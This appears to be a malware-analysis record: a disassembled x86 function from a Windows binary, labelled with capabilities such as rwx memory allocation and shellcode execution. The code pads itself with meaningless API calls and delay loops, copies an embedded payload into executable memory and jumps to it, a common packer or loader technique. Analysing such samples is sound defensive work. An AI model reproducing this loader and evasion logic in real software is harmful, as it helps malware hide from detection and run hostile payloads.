Function at 0x402b20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x402b4a
inc esi
cmp esi, 0x73f04bd
jl 0x402b36
cmp dword [0x4665fc], 0x400
jne 0x402b90
push ebx
lea eax, [ebp - 0x828]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push ebx
call fcn.00403395
add esp, 4
push ebx
push ebx
call fcn.00403592
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403180
fstp st(0)
add esp, 0x10
cmp dword [0x4665fc], 0x93
jne 0x402c1b
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
push 0x402568
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0x4025c0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call fcn.00403558
add esp, 4
push ebx
push ebx
call fcn.00403587
add esp, 8
call fcn.00402b10
fldz
push ebx
sub esp, 8
fstp qword [esp]
call fcn.00403194
fstp st(0)
add esp, 0xc
mov eax, dword [0x4665fc]
mov edx, dword [0x45aa24]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x467438], edx
mov dword [0x4665fc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x46608c], eax
mov esi, 0x1692e
call edi
sub esi, 1
jne 0x402c55
cmp dword [0x4665fc], ebx
jbe 0x402cb8
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [0x467438]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x46608c]
mov byte [edx + esi], cl
cmp dword [0x4665fc], 0x490
jne 0x402caf
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call edi
lea ecx, [ebp - 0xc]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0
call ebx
inc esi
cmp esi, dword [0x4665fc]
jb 0x402c70
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov eax, dword [0x4665fc]
add eax, esi
cmp eax, 0x8d
jne 0x402cfb
push 0
lea ecx, [ebp - 0x828]
push ecx
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x402cc6
call fcn.004029f0
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x402d2b
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x402d3c
inc esi
cmp esi, 0x67d12
jl 0x402d17
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x61
jne 0x402d62
mov dword [ebp - 8], 0
add dword [ebp - 8], 0
mov eax, dword [ebp - 8]
add dword [0x46608c], eax
inc esi
cmp esi, 0x674bd
jl 0x402d44
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalCompact]
mov dword [ebp - 4], 0x7b
cmp dword [0x4665fc], 0x86
jne 0x402dbe
push 0x40259c
call esi
push 0
lea ecx, [ebp - 0x428]
push ecx
push 0x402600
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0x40261c
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x4665fc], 0xf
jne 0x402dd3
push 0
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x402d84
call fcn.00402740
call dword [0x46608c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret